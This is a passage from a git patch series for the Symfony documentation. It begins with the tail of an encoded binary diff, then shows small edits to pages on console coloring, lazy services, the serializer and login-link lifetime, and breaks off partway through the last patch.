zn3zB+BolmPy5>R$8_j)GrdXKkV!>At<up)*OzF0OKJ91!WU#klu&o*~WX7P7I2#J*
z5>^ZWVzFu%o+_jv4=nu)jt%-Y+FBWsTnEW%Zj;4_?UxxJ_UMnn(%<3N(9rM6mNGGM
zUIE2#{8JS8Bf)KGbAX6X_PT8e$pH@rz?554$7=(6KA;J<d@z7gYo+Vs1L{H+Yr4NV
z$N#8fK>MINr4EBqz(M=$@2}%c9-W^zqbN|UDI^pAii6;%DVHf6MenK3aF_tt{5Eqd
z`)!ZXygIa+Zi;!K_|olB4KvQ%x2RF8SK+7~nUaQfyDFHt{)y`r*H}Shk((!=R0oYG
z_3|2@y6wyhf2&<0M1_e{C(=NTkYR9a6t*e*S}gZ$$ju}nV_=j;#VE+k8Q~GUS7k3s
zc{>xQ));u}4H%pVQANXp86W3d|J)6wmsnz2fZo|xKPYI9_MU&y%0;|@{-0`g!z%7z
z<;5k~8BK0*lv;$BPhW3%FqGHI1xq4Mbo&LcD}F`s8`gA}uZxE5dZ#Vr{vrhJpPb@?
z_9W-%^u#PaEHn3#ep~<EBNXTs&XTSGh-XoDLhfTvP8Sk-zi`@n`r|R@4lnQ{85Iz(
zZUt$EwYIdh__RuyjnhF(%7Ki_yx*nN{8}s5{&>h)wBYRl?M~F24Nif@cN`eOHpo_1
zA8(Gaz59z4l_)n8uaINu504d38KnW){*b~%=)J@{rH3bpYt}f)vVsaKq^y8=CQD0S
zGg23GzHj3*vNZ5u7X6I4pY2q~C{2rVbq#jb?vC8lx?O}zOhkn0_bxd#tEDrmdo=o)
zXyU|Oc51w0en*{*JtOmY(x#YXka6$>rQp(7>g@#;;_4?7g4iOzkEL9Y7IY|#e6CG$
zVx8vwb1BnDL5+pdeY2TzuRz$h`sdhz{nsl`aV=8qr?amaF#uUCXaWz3=7&se!f{T1
z%ruGbp*MV5;1`SbO6+Lct1`a_KLj1Ae)U({DbJXpFf__HoY(Hr(b0d>UsB;}qwp(6
zCc2vmVX8MGb}t@2WWM?4=JK!PV<JfqfE%sdqAgl5oF`IWu(OAiAuC5=O6UYwKHnsG
z{^KUqM+R$FxYJ%w{sELe)$q3t7d*(YP*uZzRi8l!v(IS9z;<H8ZPLTYh*qOIwl>q-
zp|S0{VJK#7lz3qWi1A`Oo|mm}MnpH*Kt+a-7C>@YF{$nwOjX(|=VsdT3}i0yS74*F
z%`$0Pjg^-v{-?4FC|%=Z8OJI?bePfLIn8_cthaDs1Q(RIf$`bn4V*_P4f5!bc_Czx
z%wo#{Q&tmdyod`(H}6f(fdJG1#p~llFKZ-~Sts^{3(5dNGJCP{g3$i2xkr+7jH+{3
z$8duw0bpV#AeIv<9P%h;`8>gx<LSuDR5HegRh3X&$EG7B-UH}(f&prv1Pa@JS#`u7
z{?c8I4mt|~Z^v{}XUeSO);&^VG7TJ<qnGe2Fa~hqH)O!mPo;?+SoF?cYmljcAaIx<
z;VMuFAs6ApRiPWCFPV9i7j2KL!U0{k(731F4#u?VZT_6|Pkd{5?lv8iu(mWnRASwN
z%0xT00SF4v4~)Mj`vGAvjQ!E}Pyk4W>vvnwyJZ|;bIv0`3*_3aUM}wl-C3X;7iKp>
z0KM*rFn=@s2P4q#tKs0hZNDV9=s&Yhp)Ni$rJQxzeO{pM<98z7XU`hH7EKeFWJ<PW
z-d<_ysXY8luK#d^PazPHY=O2)4}_m4f*L`DoX1uzD1!(LCW~UFLBp)J6`6J&@2Na!
zAMf&!n80m~qHO+EeYU-kF;oilUt`P$N;+YAmOe>fBJE56P3USTLa*3np?>2q@KhSZ
zqp9fjXPtUa%q#mJoH5s8MKL--Usx>uZ1I!i_-WLLalQB)3Qw=4GWoTmS|&$43owL0
zV`+ER;46FXb^yHs;CUnKapJkm;!n^g1g@VwCKlfCSbFr-{&S1iid<kmWU~R0tukk#
z<8O<=P+FkEGC9t-L)1m|&~QHu6Ro|sWx&C-a5_gS0fezR3pC(|hj~4Mym*pZ(D2H)
zHxjkpgnO$XI_QH&uH{#=4&+J4YE^(rBNCB_zD@J(JfgPwXh;C#2!R8L+PIphkVPgN
zjJ&;1a)?&oJF@K(wCbfFK-)_~A^hb_834+@P3NHcBYC?)x$bu(!mHXyBa31w+SdR|
zH<<#=q_D)OA3`cix|uiKSkKCczYs9Bt}a({A$8x({MoaVP4}WXJ>*^E&~2jNz}|hn
z<fLeRgAsfSej3qjz8+`BaDJyY_Hwd6ZqgHAHTh$yA?+&G$CMv!N+~FVoBaGZ-ABdD
zDW|5l30M8z+}Y44S(mIU)z^ld<>-*)W&>;WLD27`&GEF!sB&9-XG$nbe|HnrW^Z!u
zN@lg&k>>XrG}837$-W0sVmY#({;08LpXi|uFP!(msK?v5-4T(N(_fCa?FxHjwp^<{
z;Np4po-_!B9nCQte7B3+eY<7i`s_hmAu65Yt1Xl`yCNw1ksf($g)dugw3`z;<stL*
zKg7V>xA~l?BPKGs71zhp0qJW|k|$DrBoXJls4&UpviwDWOcKKqUsN<Wr?JuJn7%=(
z1mx!GKOEvU+A{JJpVAb-@lWr3GJ*%ApX4y1cnN81rV6?s*>l5$ZSFb)tczJiEhO5G
ze{+YsT-}ap5;j&)aPWCochCO$AZ(8`?8De(&nK8apfxty8cMI{BeLbLTSxv2^YGJ0
zFvyVU6(bj4i#qASLI?JzV@PELxlD4IB2=KnTH94!x=k_u*Dqp1YHF@$=m0^8iH(g0
z&+^k~)M(N#<f5-1`+U~=mjKqN$wXy<>ev^rCS2cKUq^(8A79=6^<@cQ%R?%E%2VJl
z)6gKSpwAl@8b988T-3l?{@+|`bU8K;4}$<jdZ5PM!luwTxw)~WC3rJlC<@HV%fpkw
zXR8`oS!|WcgQQWzZp6gQe6+$bE|<{zSLcobPqI-{Q{&>|7G~?<4Oi$?GO6V%LxyoU
z0Ug1}d7<8Vx!n_RGXN@}jB*I$c%FF6=g-^IWokz&oz+!U(jY)(#(w(r<68ya&jAnj
zcYsE`_oHs}>wBcokPsZImp=dl37~P~Qi}!LU7ux2fu`ACQXTc-iqFi>nl#v`=*)`K
z>s0C2ZEWQQ6H#&{ybuvF%pUVoiVhui%+Ba?+Z>oGQA#G|*xA^i%LTErzP-IX1`29u
zZf1gJNrT8dCh{fy{QTa1e4G9so!gFyUw6L7<n`;<djqf(_}5#fpN(}54Sl5+78dt_
zJ!@~i7SM_P0e2X1Kz^Kk4xMBN%v-s_ZgiO_%(jcoPBQ3ZWMrIXUB=RFX=y}kOXjQ!
zZdVtp!Qz$!ag}<trNzZowzjdnPf2-ybzZE923-EBG5PX27L{6&7D}E^!P)ldQ&a{p
zHesvbNH#XMW7%!4>%E2$C1@zjbzN3gmOV;;f}J|xkEE|Jh%c7FbEU(#UY)ZX!T?>b
z2K-2I2QxqYffhd8o~S8{`=39x9R`eMQE(;=PAWvxb`K02asm4ph~6&XOzP?i;(#*3
z-lWl6yg`F)jD|RS1CAI{q7tpY<>AdVxvWy*;ouldtw_Gi76H<KP<MCtH-bt^!}-C4
z<m5)NU<KcgFi)4$`gd@%;5$P0E}!E<4M=Qy3YhsA=(CWZpz~}6A)EkKkx!u^2RM^P
zMs`VSO<!7+3#rM-prmc`nmAkmHnzcd^0G<Dc#bG>r?QRT&&Id0L>v~S1o-&H>YSz(
zJvT5wP)8f}q!ibv@qrdp8?~HoPxj5v6VHhGow5Lmxbu;gW-j2=^W2_zk~5i^N!EIv
zO|kB?<?QSnH4m({N&`su{q^3+Xe!`C13ZsFZp3C5SXgLJNs{vN5@UaSe$!{K@weBL
z!a~kV2utKb&e_~=5U;?58aR4R&dv!+9PJ<T2}pMV7J-{D7f^VoX!6C&)5~k1_dja6
z^UBPOb|}l>8Cqw8^Kv`jg+djm1+0&{1s3$OaR^ICT{nmQvBVA<30*#&CB>&=le)sx
zvWZkV+1bjF7vW%q5MNA8OljE=c6N4q6e`b?DE)5FJtBfcAW1t$$vzL{Q9gazKHePk
z<cm5~jIOMz+8;_~{&;zF)V;@{Q#-*9%$?SENjw-B)A{B{oh7h7f&53x5p|F?xdMt?
z+cl6aW`hBSz}b&HmVm_%*i%2GSX%1p@E+9CS!_YDT^9zgmZ$&wF!8^}j+!JF4fMnB
z7vY&B9Tqx4&mylNA#AMaU#w^N1WKM5ZF`5uHOqiSNa9))HIHrGv=!Ry@%0?yu7&cM
zg6V7OWltwbnY&pQ325yQNvH8PJ)P-^hjYy|hGv(QP&U(rO03DUB-*ZpXq37xqWQ80
zH`gygyx*t$KP<lKC_9r(fQFM*tQkEAx5QB(!gg2Ru@@NAJX`zj7K8Sk=HZI`?kpXd
zKT`cQVSt|eVOsL*eB(RvBu2>QM>p^$8_{agMqwe6A6c%KN1_W(LBuC!dn|En!-^Px
zn);Twfd3RoQ6_*x{@&2^wc_%opZ!vOhYh}clwV=<XLW1q5==w=^R#5O|CBrYiFj53
zz*H--D!~exKw|q^uReoyoVQ`r{i*uGq4RbBx43)MDuNv8wq1zBPE2wAat>A7FD_HW
z0tHAz8oc)p;IYN}o=gC9ETu>={t$=&ATvDy*tVPO)B9`+z^!TnC5RXLRG*~;1n`Q|
z4q*^8fK~y#fXw&^=^j<^g}JP#N1*8oAdB3?Q$U@MmVbm)Cn`bhpEuFh<sT~oG;K+f
zrz~{L0PwoHibqR|l6ibak0?FtpA=sA_!!s`bho&SO!ru{16xIi=hGpeX`^aafMm_s
zKbr2;2~;Ti9RKl_=Y^{^G9iFP0kM-B_M0I5(P%sFjiGw)hy?(3pfF*0R8Jl;^VYMF
z$DbZz(_I0<|B@bPfiIw<pWgF6_O3^$vs)R`ko_oqKLSy)$7YE`M{$qD)BpAVvC7&`
zJYa-wk7pMPI&G8aAA8}OmT^$hNfk!<*w|qg;&4Ddc2Rl;+m*k<uKhm4n5MF-8c{CL
z$sq};WQAQ=OlRGTTlX*DJffnlZxk9e2@v9(Q4zj{#%S`Pg?)*~cO6T!eGlUQRm)}A
zmi(_GfO&ub4iAHDfl&X|4LWH??mU-$MC|0I$<YJkQ2>7*g~;KUNIbTbOajCmpY>TY
zAp}Sj)Ljpw^A;K-u>@<nGIu-}gD?l;?jyP$-;RMBj!&;dZ^&VrN#ia6+@Y{zZV`$O
zo;YLZ&6Fug$0}Agb>PrgL5E&3iAR?LIfz1epfOM8+1nlW;#D;|AA8VlaU=&BRsdx_
z;$s_;NuSqUO5Brk#%$dt$nH@qFQ01!Ex)3e-UZ!O45;UJS&R?s9dVs_l%>+Un1-Kn
zhsls6j;SXk;S=0Dow9Pe;KL+Mn2Ww-0NI7Y59AGh3=|fCJb*`;%o&^N*n1h0iDRs9
zcZ+d^s^6>u(X{ZTgumncWD<a@p&R&(V0B_7_F}FCp>#UbF|2)l)=!Ji3y^jNQKr`)
za*CRpoNS;O7XsD=6s*6R-X0U^$vnLe$r$x6-R@Y>UL%dZ44WS&i9iqBBv9ULSA@)S
zA=BRfw6reHjyC#3{=;o!b!Z{X@Pv$0-?rjAXU}r!r;}A;!%<TtgL~a)O-%Sl@oLbA
zLNsWWS)2G5u+bhy{FMF3(PH*YTLqb{?@UzxDWQ!3p5Mchg8?j;YP&?86CNr4NVu*a
zD^_q}@Y$?lxtUQf|5n#h&F?cue%M9c%i%VYG|vWY4UAC+rQB@+G^?dGK;QmGT~t`l
z)=yTctEe;-`gRJR>xBz3W?gyJqu;V_%_Mh|VPbVyFYwx;$-4-ywvg96#wE1Ty9%h=
zMq~>D<7VH?I9Hy3bO_*9K`Ax3%*nDR;jUME;JF-k*Q4G*AXM|+_<)9G((pM8q*^Ze
zdb(2+WoMp`&*hT~<{0#IjQj&!o^97Lfcs7#UQN_1f|Hu+7yI5n*L}B!8=G6V$Pp7U
zeCvaQ;74r|n4JLDO5Tq{OjR;*@rL%_x3R>Tkea1Y>FK!Dbdf>Uld0vwec6{sE2+L?
zq})VnU4PPllPaZ!g(6125Z)11##$j<$VpFo{!IwQwD&i~I6Cx21AoigH4Gb(V%26P
zEY)sPLqkIYgCVhR>x-_ELiK9lTQ<~7o(AHXEOFT?uiRs(A>S?3qal2zOIKCzP!2S2
zFK>A-8r|k@^NYnXv9JsV+Vj^Y85U>4Ysy=wtm>%#iSDg{=sskj&Y{rt{&=J6Eu_B8
zfJyEu)$!8p_T-<+zK_uPsR}bNv43!yDlN|i6vekAA2LzopFQR{k$<L@aL8og7LTL7
z%hW2O-gPUV^4A7piMIWvx289Fi`crE|69fc%&29?;CyRpik$nCZl@5oTMW&}d~4rI
zou!ONV*})ALS3)FW_FUDSl&3|MD3kPLf2WHRlgZnE&GS(ukQ(eK{Ln^Q}K;Dnsb#$
zsQoN)vRU>fq#{Z6`aM$Cs!vfFl;vo#CB5kkb;oTuEReM{QY|t(ybi%*kWUCWv(zzN
z6bMq)evk0jxqg5+^4i!Hsz~nqllZ5w4RK+4REmqFnKelRii#q~!(0x(SV)L|yZ%`t
z3fD@o8c@h|PF*|LBnSN06DYKl*PLXES5ou))S=TK*14>Tm;Pk~M&&_M|Iz_d*cCc0
zLZM3U^z8XAMD?n#1K__Vq50XV3{MUJ%VjDkvXi+zb|mgw`ci2~-dC%+h$Rcv7Q>}k
znBpSYV&W%cYl-tU=}wDD%YSDE<N$~-Ado>sG<<XF+v$BY?{##4A1v=y_4KKjMJXe!
z2P`Uj@}>{fYyU^k+SdnU)So{WT@ELUi~xKCWCl8d?&x-`gKv+sgjQz`R=dXwUK?2#
zycE>C%nJd0X27==uCA^Y7Id8MK-*3ZU-i8IW&%wL>WHh8k~#-eesvR*96<Kh)4kuk
z*Q@$?aWY;h%@I8(7I^(xIOi-4A1!@Bn9oGr)qZEn;QLc@kf>3Vt*WvIxp<HjAlsiG
zns7ObhX3IIPe#HlM$$nm*R$cdwYugthKQZI*{ja=cbCu)>ZP%N#zgNnHvsN+wD+@#
zFVQ>S*%&~DWbG<hbIr}-=33jfzkZ{dejyU`KQB(EUsaG7PB37#29)^jbHj_i$QJrV
zI4rNpezrmqnju>!M)eDDy6(N`7+K$!<1TZ93|p`c=!c?RWC<U?Cc)w?ax!wl3yFxZ
zoUo&72HZ6h9oT6p&(nh+?m|fU2DV^1FTKa^ZhgfyB4}UV->mqDW@k6|=>O<H+ryjk
zwX0IG=J}Kj*?ivN&6SW*{YgIbe~86r*Y(r?lUVp^(h(_GS5_d4h?oFh#IOZ<5?l~z
zlJx`03$p&<;n=~=g82{!idfc%wNP5M+&>uxt%<%TrQfC6iZxSMB3n#5d{CRU9FAW3
zdvynZ!s>{}i1g-jVw%d?Q9q=DkInZs`px+#{*&#%n4OxZ*7!#sqVxffU%o$E`34Zp
z4;{3P$M|D_bOxD>NBryb@P0@v`Chu&oX62h_!|uoSc;-TAw_`=U{rdx{`Hm8PtmAI
zExo^eL}cl9r9}|v3r8IsD*i~4{@ArX_F8`>ooujzb?}2p>r27&C<@5YR`%(iKWnbS
zPo6wEK0c26Wrz;b)ph9EIN36YFEs9eKt!WKp!<P=&1aT0-5yXvJ1v8!6$ntbv$yj#
z)fo#?tQW(KFyCwKRtn;8hQoTb_ZCa7xWz8i@d;fCpD>bC0@7G&=k?vURAsqRGjau0
zf+y)LZLaqhEHzn(xn|ey;0KH8?|-)^m}P@eern4==$)3Yof4^*0|J7On*Jt5yq8zX
zieF|41}+!87WELTsN{2tv9)!t`*Z20^li`k@S7r6tob4ErB82pUhW|Z*HpO{8tEpS
zNakv<_QKpbH~XdUGmRr)`()^dde=~JuZg4MuPH`ilj{RRUc#V(lS=qJ8xi0*oVna@
ziapF~B(f?Jz}fD<e=E6ayiP~-pnGis5W^lxI<d()=g_b&L6LcVpNIQ}I?L6;9cTON
z5=edP*R!KlwBJ3X)cEyzbZLI^;gxh2tIo?JEpMmE4zBhW#D%D9jWH;BEVvDimc7w#
zkLA=kpp*1fEfB~GGkes@o73$#3JT0*#l{+fIz+G(e6o$}Gjt7i8UuZHVic+rIKY2=
z`C_7PrOQ8aqYjg^`|s&$SJ%AKFr8;y{z9y$>s8~7I@!s4tZkTid+CPB6ce)n5FwY4
zy2F)tCpy0Prt%6_V(){R8c_oLgdzftRq<QJ!16-ILD;_1sKS+=*(e2{jWAsW8ZLem
z+@?5SwF`UWfgK-)S!6s-9<Bmu5PP(E{^dg)sc_(2E{w~g2}KF@naOgs>y7k(*(;C(
zo-<N>k6Nt)654cbh|4Y6XdD&LoMv^QP1B5$+`EJatSjXiOUlm0E9)|GIs||gIZ7l#
zHH}r>Kxbl)#^=B8rvDEYK~2tKbTC=Ym@)o6ZNT@~vK`2<a0rFQy{3~Kl8z}{6)#BY
zpj9oYRI6rYQbK@*=Wh<k85x#zEV(Xs`r{`{*4^c_W9nV&eWogie;hO&lD^W*+7ct5
zXO&8~oPVa?#ro&McdWeX7Ger(I6-Z`B~<0Pzjw@E;{1Khu&A9DNK#g}gOxsmf;KKM
zWcLa(XxtvD^fkO&pCt2S%$A#nLX>5k<GEL%>yUF@lv&%0r_f+As!2PjLvA;>*vEmc
zd=xR48cQf(KyGcX3kBOX&4+_j6|c5qWQ&*AceI?wuE0ou;O#*NW4bxiJcv~!0D<S!
z$Cd~hVijC6{wJwq|9G;S>f8n7x<@1j?sjUX2}e&jzNxC;b$vQbXUwTLE$2lvBvvDF
ziD>6H9Ag9kgFH`pANrm}u6)T*dxbVi2OpYv$~+~M|2Ag>Z|xAz`{iX5p@`5m&gR}m
z-)Q3a9$WEzN`o|GjkA2T>ofCE4i(Rg(O>%A_~*5hL^fzA<AiFoV8_fDZ@#mzTV;7V
zV<P;F=eiorAlCRQO2;b?J$*8NiiL}V1D5l}&MF;oE|C$7zw(ML55we=LQag}Q&fkr
z;kU&_qubrm0<-Z7YgUSWn=uf@zN6f_39;^qDe`+x+i6#Wh`)I&uTaIJ4j^5X`=Gpg
zH7l3uy8F)4{Xx4{TXKo<j1q}qeLU`6TwKn}H%4E7xnD3xwPzI)9s4k<Jm6cHD6Q)o
zhi-O#7LP@WtZR-erjO9DwG@Ds{tmjuxCs+9*(C`cVQ$qxowc7(ph+S|N6t>#ZW=3#
zcOu}o@WAm<OcU+@>6iVy&GncF&*UfnU1jr`A?BdxS9+g}*Tu;y_*t^XJk3hHo(XQ}
zn8|(lhS(w)VZyD*G=;cWSbfdeYCel?*M`)%^&mWpEj&!Ma$St&WFWh>;mSAqK9jG2
zoD5}p|5B>WLup+;XQ|_0`F3_%vz{49ff))qRY^9H%?1dYd`3c+IDCM<CSa)Guur(&
zWYLchc3>}I2(=fexN?<|*bXJh1Eqe(O<+PllXlXuouN1z)cB0+=B2Nw0CY_Igmzof
zBhi_CjEX8TG7#A=L|tu$$WwMyBbWl^1)lBu5{Q+0wX6X3hM$MI+lu*gtE@ToaVE_S
zL6c05hWiY)T#xQIfn`la-cM-(98p?mMuQ+o8HUs=4WpTivjB(ozwf6r;4jKNe&&F$
daB>!`x~N0MJucD#d?b#bAfqZ>BV``)e*h;TLq7lj


From 6a9f04a586aa9405bd253447a1054bf579e3d623 Mon Sep 17 00:00:00 2001
From: Kai <9503447+krienow@users.noreply.github.com>
Date: Thu, 4 Aug 2022 15:43:46 +0200
Subject: [PATCH 2147/5766] Fix Cmder link

---
 console/coloring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 774a2ab96fa..d3b2d6f67d3 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -91,7 +91,7 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
-.. _Cmder: https://cmder.net/
+.. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases
 .. _Mintty: https://mintty.github.io/

From 37cb398bdbb5e571633fb4c2c7707310244e940c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:26:51 +0200
Subject: [PATCH 2148/5766] Minor tweaks

---
 service_container/lazy_services.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 2705e1c61d7..405298718a5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -25,8 +25,8 @@ until you interact with the proxy in some way.
 
 .. caution::
 
-    Lazy services do not support `final`_ classes. You can use `Interface
-    Proxifying`_ to work around this limitation.
+    Lazy services do not support `final`_ classes, but you can use
+    `Interface Proxifying`_ to work around this limitation.
 
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
@@ -105,10 +105,10 @@ Interface Proxifying
 --------------------
 
 Under the hood, proxies generated to lazily load services inherit from the class
-used by the service. But sometimes this is not possible at all (`final`_ classes
-can not be extended for example) or not convenient.
+used by the service. However, sometimes this is not possible at all (e.g. because
+the class is `final`_ and can not be extended) or not convenient.
 
-To workaround this limitation, you can configure a proxy to only implements
+To workaround this limitation, you can configure a proxy to only implement
 specific interfaces.
 
 .. versionadded:: 4.2
@@ -164,17 +164,17 @@ specific interfaces.
         };
 
 The virtual `proxy`_ injected into other services will only implement the
-specified interfaces and will not extend the original service class allowing to
-lazy load service using `final`_ classes. You can configure the proxy to
-implement multiple interfaces by repeating the "proxy" tag.
+specified interfaces and will not extend the original service class, allowing to
+lazy load services using `final`_ classes. You can configure the proxy to
+implement multiple interfaces by adding new "proxy" tags.
 
 .. tip::
 
-    This features can also act as a "safe guard". Because the proxy does not
-    extends the original class, only the methods defined by the interfaces can
-    be called, preventing to call implementation specific one. It also prevents
-    injecting the dependency at all if you type hinted a concrete implementation
-    instead of the interface.
+    This feature can also act as a safe guard: given that the proxy does not
+    extend the original class, only the methods defined by the interface can
+    be called, preventing to call implementation specific methods. It also
+    prevents injecting the dependency at all if you type-hinted a concrete
+    implementation instead of the interface.
 
 Additional Resources
 --------------------

From 85708a293804ec4d2766ef4cd22709f54ec530fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:29:01 +0200
Subject: [PATCH 2149/5766] Remove a versionadded directive

---
 service_container/lazy_services.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 405298718a5..b259895b9f5 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -111,10 +111,6 @@ the class is `final`_ and can not be extended) or not convenient.
 To workaround this limitation, you can configure a proxy to only implement
 specific interfaces.
 
-.. versionadded:: 4.2
-
-    Proxyfying interfaces was introduced in Symfony 4.2.
-
 .. configuration-block::
 
     .. code-block:: yaml

From 869e9a1a78b1d901fbfd42d1df10c0a43e003b23 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:38:42 +0200
Subject: [PATCH 2150/5766] Tweaks

---
 components/serializer.rst | 6 +++---
 serializer.rst            | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5a04f2d3621..a0a557874e8 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -900,10 +900,10 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-.. versionadded:: 5.4
+    .. versionadded:: 5.4
 
-    The ``BackedEnumNormalizer`` was introduced in Symfony 
-    5.4. PHP BackedEnum require at least PHP 8.1.
+        The ``BackedEnumNormalizer`` was introduced in Symfony 5.4.
+        PHP BackedEnum requires at least PHP 8.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
diff --git a/serializer.rst b/serializer.rst
index cd00ebe1bad..cf3e5f56dbb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -85,7 +85,7 @@ As well as the following normalizers:
 .. versionadded:: 5.4
 
     :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    was introduced in Symfony 5.4. PHP BackedEnum require at least PHP 8.1.
+    was introduced in Symfony 5.4. PHP BackedEnum requires at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 3cf09e968748024943b061c27bdf9fbff523262b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:40:15 +0200
Subject: [PATCH 2151/5766] Remove a versionadded directive

---
 components/serializer.rst | 5 ++---
 serializer.rst            | 5 ++---
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c3ba8a45bb8..3901c5e22d4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -896,10 +896,9 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    .. versionadded:: 5.4
+    .. note::
 
-        The ``BackedEnumNormalizer`` was introduced in Symfony 5.4.
-        PHP BackedEnum requires at least PHP 8.1.
+        The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
diff --git a/serializer.rst b/serializer.rst
index 787007f3638..de64a4842dc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -78,10 +78,9 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
 
-.. versionadded:: 5.4
+.. note::
 
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    was introduced in Symfony 5.4. PHP BackedEnum requires at least PHP 8.1.
+    The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 9249444aa0f8000cb55f72fa124cf1a245828c90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Aug 2022 17:40:49 +0200
Subject: [PATCH 2152/5766] Remove an unneeded note

---
 components/serializer.rst | 4 ----
 serializer.rst            | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5b08a08aea0..5d451035b2a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -900,10 +900,6 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    .. note::
-
-        The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
-
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.
diff --git a/serializer.rst b/serializer.rst
index 20f9f3e7a4e..fc829344510 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -78,10 +78,6 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
 
-.. note::
-
-    The PHP BackedEnum used by ``BackedEnumNormalizer`` requires at least PHP 8.1.
-
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and

From 10706e8503fec394b53870febb6d6b9e575363ee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 15:39:15 +0200
Subject: [PATCH 2153/5766] Readd a missing reference

---
 service_container/lazy_services.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 4a9af5d92b5..4b7af213ab0 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -161,3 +161,4 @@ implement multiple interfaces by adding new "proxy" tags.
 
 .. _`ghost object`: https://en.wikipedia.org/wiki/Lazy_loading#Ghost
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php
+.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern

From 19e4760edc33c533a5cf30bce331fe2d4c405b86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Aug 2022 14:03:09 +0200
Subject: [PATCH 2154/5766] [Security] Document the lifetime per link

---
 security/login_link.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 899c7a1c82a..711cdf588c1 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -341,6 +341,8 @@ configuration decisions are discussed:
 * `Invalidate Login Links`_
 * `Allow a Link to only be Used Once`_
 
+.. _login-link-lifetime:
+
 Limit Login Link Lifetime
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -398,6 +400,10 @@ seconds). You can customize this using the ``lifetime`` option:
             ;
         };
 
+.. tip::
+
+    You can also :ref:`customize the lifetime per link <customizing-link-lifetime>`.
+
 .. _security-login-link-signature:
 
 Invalidate Login Links
@@ -796,3 +802,17 @@ features such as the locale used to generate the link::
 
         // ...
     }
+
+.. _customizing-link-lifetime:
+
+By default, generated links use :ref:`the lifetime configured globally <login-link-lifetime>`
